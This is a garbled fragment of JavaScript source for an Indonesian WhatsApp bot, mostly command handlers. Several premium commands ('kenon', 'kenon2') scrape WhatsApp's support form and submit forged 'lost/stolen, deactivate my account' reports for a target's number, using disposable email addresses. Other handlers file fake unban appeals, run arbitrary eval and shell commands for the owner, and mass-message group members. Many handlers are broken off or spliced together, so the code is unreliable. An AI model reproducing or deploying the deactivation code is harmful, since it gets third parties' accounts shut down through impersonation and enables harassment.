if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Good day whatsApp team. My whatApp account has been
burned permanently, please i plead with you unblock it, i cannot use another number
again. I don’t know why it is burned but my friends re suggesting its because i use
GB whatsApp, which i didn’t know it was wrong. My number is [ ${targetnya} ].
Please whatsApp team, help me unblock my account. please i cannot use a new number
as my current number is connected to slot of important things like vacancies.
Thank you`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
Halo,
Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.
Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.
Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'unbannedv5': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=199999999999999999995777678776668876677777")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Aloha WhatsApp, ua ʻaihue ʻia kaʻu helu e ka mea
hacker, e ʻoluʻolu e wehe hou iā ia [${targetnya}]`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
})
reply(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ±30 Detik an
untuk melihat balasan email dari WhatsApp Tuan Wangsaff-XD🥺🙏`)
await reply(mess.wait)
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##
Halo,
Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan
Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai
pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh
masalah ini.
Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang
seharusnya Anda sudah memiliki akses ke WhatsApp.
Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon
Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs
web kami untuk
Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'setbiobot':
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply(`Kirim perintah ${prefix+command} nama\n\nContoh : ${command}
Paijo`)
await dark.updateProfileStatus(q)
await reply(`Berhasil mengganti status bio ke *${q}*`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'setnamebot':
try {
if (!itsMedark) return reply(mess.owner)
await dark.updateProfileName(q)
reply(`Berhasil mengubah nama bot ke ${q}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'revoke':
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
await dark.groupRevokeInvite(m.chat)
m.reply(`Sukses Menyetel Ulang, Tautan Undangan Grup ${groupMetadata.subject}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'delsampah':{
try {
if (!itsMedark) return reply(mess.owner)
let directoryPath = path.join();
fs.readdir(directoryPath, async function (err, files) {
if (err) {
console.log('Unable to scan directory: ' + err);
return reply('Unable to scan directory: ' + err);
}
let filteredArray = await files.filter(item => item.endsWith("gif") ||
item.endsWith("undefined.jpg") || item.endsWith("png") || item.endsWith("package-
lock.json") || item.endsWith("yarn.lock") || item.endsWith("mp3") ||
item.endsWith("mp4") || item.endsWith("md") ||item.endsWith("webp") ||
item.endsWith("webm") )
console.log(filteredArray.length);
let teks =`Terdeteksi ${filteredArray.length} file sampah\n\n`
if(filteredArray.length == 0) return reply(teks)
filteredArray.map(function(e, i){
teks += (i+1)+`. ${e}\n`
})
reply(teks)
await sleep(2000)
reply("Menghapus file sampah...")
await filteredArray.forEach(function (file) {
fs.unlinkSync(file)
});
await sleep(2000)
reply("Berhasil menghapus semua sampah")
});
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'simi': {
try {
let res = await fetch(`https://saipulanuar.ga/api/f/simi?text=${text}`)
let json = await res.json()
if (json.result) m.reply(json.result)
else throw json
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'delchat': {
try {
if (!itsMedark) return reply(mess.owner)
await dark.chatModify({
delete: true,
lastMessages: [{ key: m.key, messageTimestamp: m.messageTimestamp }]
},
from)
reply("Sukses")
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'milf': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let anu = await
fetchJson('https://raw.githubusercontent.com/P0135/Database/main/nsfw/milf.json')
let random = anu[Math.floor(Math.random() * anu.length)]
dark.sendMessage(m.chat, { image: {url: random.url }, caption: `Nih` }, { quoted: m
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ghstalk':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Contoh ${prefix+command} darkbotzmd`)
aj = await githubstalk.githubstalk(`${q}`)
dark.sendMessage(m.chat, { image: { url : aj.profile_pic }, caption:
`*Stalking Github*
Username : ${aj.username}
Nickname : ${aj.nickname}
Bio : ${aj.bio}
Id : ${aj.id}
Nodeid : ${aj.nodeId}
Url Profile : ${aj.profile_pic}
Url Github : ${aj.url}
Type : ${aj.type}
Admin : ${aj.admin}
Company : ${aj.company}
Blog : ${aj.blog}
Location : ${aj.location}
Email : ${aj.email}
Public Repo : ${aj.public_repo}
Public Gists : ${aj.public_gists}
Followers : ${aj.followers}
Following : ${aj.following}
Created At : ${aj.ceated_at}
Updated At : ${aj.updated_at}` }, { quoted: m } )
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'simi2':
try {
if (!m.isGroup) return reply(mess.group)
if (!isRegister) return reply(mess.register)
const cimcimi = await fetchJson(`https://api.simsimi.net/v2/?text=${q}&lc=id`)
dark.sendMessage(m.chat, { text: cimcimi.success})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'getcase':
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply("*Mau nyari Case apa kak*")
if(q.startsWith(prefix)) return reply("Query tidak boleh menggunakan prefix")
let nana = await getCase(q)
reply(nana)
} catch (err) {
console.log(err)
reply(`Case ${q} tidak di temukan`)
}
break
case 'pushkontak': {
try {
if (!itsMedark) return reply(mess.owner)
if (!m.isGroup) return reply(mess.group)
if (!q) return reply('Teksnya?')
let mem = await participants.filter(v => v.id.endsWith('.net')).map(v => v.id)
m.reply(`Succes Get Member`)
for (let pler of mem) {
dark.sendMessage(pler, { text: `${q}`})
}
m.reply(`Succes Push Kontak`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'img': case 'ai-img': case 'image': case 'images':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
if (global.keyopenai === 'ISI_APIKEY_OPENAI_DISINI') return reply('Apikey belum
diisi\n\nSilahkan isi terlebih dahulu apikeynya di file key.json\n\nApikeynya bisa
dibuat di website: https://beta.openai.com/account/api-keys');
if (!q) return reply(`Membuat gambar dari AI.\n\nContoh:\n${prefix}${command}
Wooden house on snow mountain`);
const configuration = new Configuration({
apiKey: global.keyopenai,
});
const openai = new OpenAIApi(configuration);
const response = await openai.createImage({
prompt: q,
n: 1,
size: '512x512',
});
//console.log(response.data.data[0].url)
dark.sendImage(from, response.data.data[0].url, q, m);
} catch (error) {
if (error.response) {
console.log(error.response.status);
console.log(error.response.data);
console.log(`${error.response.status}\n\n${error.response.data}`);
} else {
console.log(error);
reply('Maaf, sepertinya ada yang error :'+ error.message);
}
}
break
case 'qc': {
try {
if (!q) return reply(`Contoh:\n${prefix + command} Hi `)
const axios = require('axios')
try {
pic = await dark.profilePictureUrl(m.quoted ? m.quoted.sender : m.sender, 'image')
} catch {
pic = 'https://srv.neoxr.tk/files/z8hI5T.jpg'
}
const obj = {
"type": "quote",
"format": "png",
"backgroundColor": "#FFFFFF",
"width": 512,
"height": 768,
"scale": 2,
"messages": [{
"entities": [],
"avatar": true,
"from": {
"id": 1,
"name": m.quoted ? global.db.users.find(v => v.jid ==
m.quoted.sender).name : m.pushName,
"photo": {
"url": pic
}
},
"text": text,
"replyMessage": {}
}]
}
const json = await axios.post('https://bot.lyo.su/quote/generate', obj, {
headers: {
'Content-Type': 'application/json'
}
})
const buffer = Buffer.from(json.data.result.image, 'base64')
dark.sendImageAsSticker(m.chat, buffer, m, {
packname: global.packname,
author: global.author
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'bcgc':{
try {
if (!itsMedark) return reply(mess.owner)
if (!q) return reply('Teksnya?')
let getGroups = await dark.groupFetchAllParticipating()
let groupss = Object.entries(getGroups).slice(0).map(entry => entry[1])
let anus = groupss.map(v => v.id)
reply(`Mengirim Broadcast Ke ${anus.length} Chat, Waktu Selesai ${anus.length * 0.5
} detik`)
let yesnih = [
{"buttonId": `${prefix}menu`,"buttonText": {"displayText": `ᴍᴇɴᴜ`},"type":
"RESPONSE", viewOnce: true},
{"buttonId": `SEWA BOTZ`,"buttonText": {"displayText": `sᴇᴡᴀ ʙᴏᴛᴢ`},"type":
"RESPONSE", viewOnce: true}]
友 Runtime : ${runtime(process.uptime())}
友 Date : ${calender}
友 Time: ${time2}`
await sleep(1000)
await dark.sendMessage(i, { text : toks } )
}
}
reply(`Sukses Mengirim Broadcast Ke ${anus.length} Group`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'confess':
case 'confes': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply(mess.private)
if (!text) return m.reply(`*Cara Penggunaan*\n\nKirim perintah ${prefix}${command}
nomer|pesan\n\nContoh ${prefix}${command} 62831xxxxxxxI have a crush on you\n\
nTenang aja privasi aman kok><`)
let nomor = q.split('|')[0] ? q.split('|')[0] : q
let pesan = q.split('|')[1] ? q.split('|')[1] : ''
if (pesan.length < 1) return m.reply(`Harus di isi semua! ex : confess
62831xxxxxxxx|hallo kamu`)
let teksnya = `Hai Kak Ada Confess Nih\n\nDari : *Seseorang* \nPesan : *$
{pesan}*\n\n*Pesan Ini Bersifat Private/Samaran Dari Pengirim, Bot Hanya
Menyampaikannya Saja, Jika Tidak Terlalu Penting Abaikan Pesan Ini, Ariigaatoo >_<*
`
header = 'hayyy'
gambar = `https://telegra.ph/file/9c40b4a560d337e1a8560.jpg`
try {
let $ = cheerio.load(ntah.data)
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1006630858")
form.append("__comment_req", "0")
url,
method: "POST",
data: form,
headers: {
cookie
})
} catch (err) {
console.log(err)
reply(`Error`)
break
case 'unbanwa':{
try {
let $ = cheerio.load(ntah.data)
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "CA")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1006630858")
form.append("__comment_req", "0")
url,
method: "POST",
data: form,
headers: {
cookie
})
} catch (err) {
console.log(err)
reply(`Error`)
break
case 'kenon2':{
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("+")) return reply("masukan kode negara contoh +62")
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/?
subject=messenger")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=10")
let cookie = ntah.headers["set-cookie"].join("; ")
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "WHATS_APP_WEB_DESKTOP")
form.append("your_message", "Perdido/roubado: desative minha conta")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19592.BP:whatsapp_www_pkg.2.0..0.0")
form.append("__hsi", "")
form.append("__s", "")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1008212757")
form.append("__dyn",
"7xe6E5aQ5E5ObwKBWo5O12wAxu13wqovzEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE5ufw5Zx61vw5
zwww6DwbO5o2Bwdq0Ho2ewnE3fw5rwSw4vwbS1Lw4Cwcq")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
reply(util.format(JSON.parse(res.data.replace("for (;;);", ""))))
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'kenon': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("+")) return reply("masukan kode negara contoh +62")
var imel = await (await axios.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")).data[0]
let data = {
jazoest: '2954',
lsd: 'AVotQVSNJiE',
step: 'articles',
country_selector: 'BR',
phone_number: q,
email: imel,
email_confirm: imel,
platform: 'ANDROID',
your_message: 'Perdido/roubado: desative minha conta',
__user: '0',
__a: '1',
__dyn: '7wKwkHgmwn8K2WnFwn84a2i5U4e1Fx-
ewSwMxW0SU1nEhwem0nCq1ewcG0KE33w8G1nzU1vrzo5-
0me220qu0L8ly82swdq0Ho2ewnE3fw6iw4vwbS1Lw4Cw',
__csr: '',
__req: '7',
__hs: '19319.BP:whatsapp_www_pkg.2.22.23.85',
dpr: '1',
__ccg: 'UNKNOWN',
__rev: '1006635516',
__s: 'ng4ktn:fe3p07:ramsmu',
__hsi: '7169210791910218313',
__comet_req: '0'
}
𝗡𝗼𝘁𝗲 :
- 𝗥𝗼𝗼𝗺 𝗰𝗵𝗮𝘁 𝗶𝗻𝗶 𝗯𝗲𝗿𝘀𝗶𝗳𝗮𝘁 𝗿𝗮𝗵𝗮𝘀𝗶𝗮
- 𝗣𝗲𝘀𝗮𝗻 𝘁𝗶𝗱𝗮𝗸 𝗱𝗮𝗽𝗮𝘁 𝗱𝗶𝗯𝗮𝘁𝗮𝗹𝗸𝗮𝗻
- 𝗣𝗲𝘀𝗮𝗻𝗺 𝘂 𝗮𝗸𝗮𝗻 𝙩𝙚𝙧𝙠𝙞𝙧𝙞𝙢 𝗷𝗶𝗸𝗮 𝘁𝗲𝗿𝗱𝗮𝗽𝗮𝘁 𝗿𝗲𝗮𝗰𝘁𝗶𝗼𝗻 📩
})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`Succes.. Nomor Telah Out!`)
} else if (payload.includes(`"payload":false`)) {
reply(`Sedang Limit Tunggu Beberapa Saat.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
} else reply('Masukkan Nomor Target!')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'rules': {
try {
if (!isRegister) return reply(mess.register)
return reply(`*──「 RULES-BOT 」──*
})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`Succes.. Nomor Telah Out!`)
} else if (payload.includes(`"payload":false`)) {
reply(`Sedang Limit Tunggu Beberapa Saat.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
} else reply('Masukkan Nomor Target!')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listjadibot':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
let user = [... new Set([...global.conns.filter(dark => dark.user).map(dark =>
dark.user)])]
te = "*List Jadibot*\n\n"
for (let i of user){
y = await dark.decodeJid(i.id)
te += " × User : @" + y.split("@")[0] + "\n"
te += " × Name : " + i.name + "\n\n"
}
dark.sendMessage(from,{text:te,mentions: [y], },{quoted:m})
} catch (err) {
reply(`Belum Ada User Yang Jadibot`)
}
break
case 'owner': {
try {
const repf = await dark.sendMessage(from, {
contacts: {
displayName: `${list.length} Kontak`,
contacts: list }, mentions: [sender] }, { quoted: m })
dark.sendMessage(from, { text : `Hai Kak @${sender.split("@")[0]}, Nih Owner Ku
Jangan Macam-macam Ya`, mentions: [sender]}, { quoted: repf })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'sc': case 'scriptbot': case 'scbot':{
try {
dark.sendMessage(m.chat,{text:`*This Script is for everyone, not for Sale. Jika
dijual neraka menunggumu brother !*
友 GITHUB : https://github.com/darkbotzmd/Dark-Botz-MD-V2
友 GITHUB : https://github.com/darkbotzmd/Darkness-Wangsaff-V2
友 MEDIAFIRE : https://www.mediafire.com/file/hss38byo6vl698e/Dark-Botz-MD-V2.zip/
file
友 NO MODULE : https://www.mediafire.com/file/gwyu7j0a7mndgy6/Dark-Botz-MD.zip/file
友 UPDATE : https://www.mediafire.com/file/cgwywxipg0c3p7c/UPDATE-BY-WANGSAFF.zip/
file`,mentions: [creator], },{quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ai': {
let anu = await fetch(`https://api.botcahx.live/api/search/openai-chat?text=$
{q}&apikey=fTKlCvKt`)
let hasil = await anu.json()
m.reply(`${hasil.message}`.trim())
}
/*case 'open-ai': case 'ai':{
try {
if (!isRegister) return reply(mess.register)
if (global.keyopenai === 'ISI') return reply('Apikey belum diisi\n\nSilahkan isi
terlebih dahulu apikeynya di file key.json\n\nApikeynya bisa dibuat di website:
https://beta.openai.com/account/api-keys')
if (!q) return reply(`Chat dengan AI.\n\nContoh:\n${prefix + command} Apa itu anime
`)
const configuration = new Configuration({
apiKey: global.keyopenai,
});
const openai = new OpenAIApi(configuration);
const response = await openai.createCompletion({
model: "text-davinci-003",
prompt: text,
temperature: 0.3,
max_tokens: 3000,
top_p: 1.0,
frequency_penalty: 0.0,
presence_penalty: 0.0,
});
reply(`*AI CHAT GPT*${response.data.choices[0].text}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}*/
break
case 'SsWeb': case 'ssweb': case 'Ssweb': case 'ScreenshotWeb': case 'ss':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Linknya Mana?`)
reply(mess.wait)
dark.sendMessage(m.chat, {image: {url: `https://api.screenshotone.com/take?
access_key=VHHwvqzO-mMOaA&url=${q}`}}, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'autosticker':
if (!itsMedark) return reply(mess.owner)
if (args[0] == 'on') {
if (autosticker) return reply('*Sudah Aktif!*')
autosticker = true
reply('*Berhasil Mengaktifkan Autosticker*')
} else if (args[0] == 'off') {
if (!autosticker) return reply('*Belum Aktif!*')
autosticker = false
reply('*Berhasil Mematikan Autosticker*')
} else {
let buttons = [
{ buttonId: '.autosticker on', buttonText: { displayText: 'On' }, type: 1 },
{ buttonId: '.autosticker off', buttonText: { displayText: 'Off' }, type: 1 }
]
await dark.sendButtonText(m.chat, buttons, `Mode Autosticker`, `Pilih On Atau Off`,
m)
}
break
case 'ban':{
if (!itsMedark) return reply(mess.owner)
if (!q) return reply(`Penggunaan ${prefix+command} add/del nomor\nContoh $
{prefix+command} add/del 6285807264974`)
orgnye = q.split("|")[0].replace(/[^0-9]/g, '') + `@s.whatsapp.net`
let ceknye = await dark.onWhatsApp(orgnye)
if (ceknye.length == 0) return reply(`Masukkan Nomor Yang Valid Dan Terdaftar Di
WhatsApp!!!`)
const isBane = banUser ? banUser.includes(orgnye) : false
if (args[0] === "add") {
if (isBane) return reply('User Sudah Dibanned')
dark.updateBlockStatus(orgnye, 'block')
reply(`Succes Ban`)
} else if (args[0] === "del") {
if (!isBane) return reply('User Tidak Dibanned')
dark.updateBlockStatus(orgnye, 'unblock')
reply(`Succes Unban`)
} else {
reply("Error")
}
}
break
case 'listban': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
listBloxk = []
teskd = ``
listnyd = 1
for (let i of banUser) {
teskd += `\n${listnyd++}. @${i.split("@")[0]}`
listBloxk.push({
title: "+" + i.split("@")[0], rowId: `${prefix}ban del ${i.split("@")[0]}`,
description: "ketuk untuk mengunblockir"})
}
teskd += `\n\nketuk button untuk mengunblockir`
const sections = [
{
title: "Total Blockir " + banUser.length,
rows: listBloxk
}
]
const listMessage = {
text: teskd,
footer: fake,
title: " 「 List Participants Blockir 」",
buttonText: "List Blockir",
mentions: await dark.parseMention(teskd),
sections
}
dark.sendMessage(from, listMessage, {quoted:m})
} catch {
reply("Tidak ada user yang diblockir")
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'leave':{
try {
if (m.isGroup && itsMedark && command == "leave") return dark.groupLeave(from)
if (m.isGroup) return reply("Only private chat")
var roomss = Object.values(anon.anonymous).find(p => p.check(sender))
if (!room) return reply("Anda tidak berada didalam room")
reply("Bye...")
var other = roomss.other(sender)
delete anon.anonymous[roomss.id]
if (other != "") dark.sendMessage(other, {
text: "Bye..."
})
if (command == "leave") break;
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'antilink':
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (args[0] == 'on') {
if (antilink) return reply('*Sudah Aktif!*')
antilink = true
reply('*Berhasil Mengaktifkan Antilink*')
} else if (args[0] == 'off') {
if (!antilink) return reply('*Belum Aktif!*')
antilink = false
reply('*Berhasil Mematikan Antilink*')
} else {
let buttons = [
{ buttonId: '.antilink on', buttonText: { displayText: 'On' }, type: 1 },
{ buttonId: '.antilink off', buttonText: { displayText: 'Off' }, type: 1 }
]
await dark.sendButtonText(m.chat, buttons, `Mode Antilink`, `Pilih On Atau Off`, m)
}
break
case 'add': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (!q) return reply(`Mo Add Siapa?`)
let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
await dark.groupParticipantsUpdate(m.chat, [users], 'add')
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'kick': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (!q) return reply(`Mo Kick Siapa?`)
let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender :
text.replace(/[^0-9]/g, '')+'@s.whatsapp.net'
await dark.groupParticipantsUpdate(m.chat, [users], 'remove')
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'hidetag': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!q) return reply(`Teks?`)
dark.sendMessage(m.chat, { text : q ? q : '' , mentions: participants.map(a =>
a.id)}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listgc': {
try {
if (!itsMedark) return reply(mess.owner)
let getGroups = await dark.groupFetchAllParticipating()
//console.log(getGroups)
let groups = Object.entries(getGroups).slice(0).map(entry => entry[1])
let anu = groups.map(v => v.id)
let teks = `⬣ *LIST GROUP CHAT*\n\nTotal Group : ${anu.length} Group\n\n`
for (let i of anu) {
let metadata2 = await dark.groupMetadata(i)
teks += `◉ Nama : ${metadata2.subject}\n◉ Owner : ${metadata2.owner !== undefined ?
'@' + metadata2.owner.split`@`[0] : 'Tidak diketahui'}\n◉ ID : ${metadata2.id}\n◉
Dibuat : ${moment(metadata2.creation * 1000).tz('Asia/Jakarta').format('DD/MM/YYYY
HH:mm:ss')}\n◉ Member : ${metadata2.participants.length}\n\
n────────────────────────\n\n`
}
dark.sendTextWithMentions(m.chat, teks, m)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listpc': {
try {
if (!itsMedark) return reply(mess.owner)
let anu = await store.chats.all().filter(v => v.id.endsWith('.net')).map(v => v.id)
let teks = `⬣ *LIST PERSONAL CHAT*\n\nTotal Chat : ${anu.length} Chat\n\n`
for (let i of anu) {
let nama = store.messages[i].array[0].pushName
teks += `◉ Nama : ${nama}\n◉ User : @${i.split('@')[0]}\n◉ Chat : @/${i.split('@')
[0]}\n\n────────────────────────\n\n`
}
reply(teks)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tagall': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if(!q) {
var inpo = "No inpo"
} else var inpo = q
let members_id = []
let tes = '\n'
await groupMembers.map( i => {
tes += `┣ ⬣@${i.id.split('@')[0]}\n`
members_id.push(i.id) })
mentions(`
*From :* ${pushname}
Info : ${inpo}
if (budy.startsWith('>')) {
if (!itsMedark) return reply(mess.owner)
try {
let evaled = await eval(budy.slice(2))
if (typeof evaled !== 'string') evaled = require('util').inspect(evaled)
await reply(evaled)
} catch (err) {
await reply(String(err))
}
}
if (budy.startsWith('$')) {
if (!itsMedark) return reply(mess.owner)
await reply("_Executing..._")
exec(q, async (err, stdout) => {
if (err) return reply(`${copyright}:~ ${err}`)
if (stdout) {
await reply(`*>_ Console*\n\n${stdout}`)
}
})
}
if (budy.startsWith('uu')){
if (!itsMedark) return
qur = budy.slice(2)
exec(qur, (err, stdout) => {
if (err) return reply(`${err}`)
if (stdout) {
reply(stdout)
}
})
}
//Function menfess
if (!m.isGroup && !m.key.fromMe && budy) {
if (cekChat("id", sender) == null) return
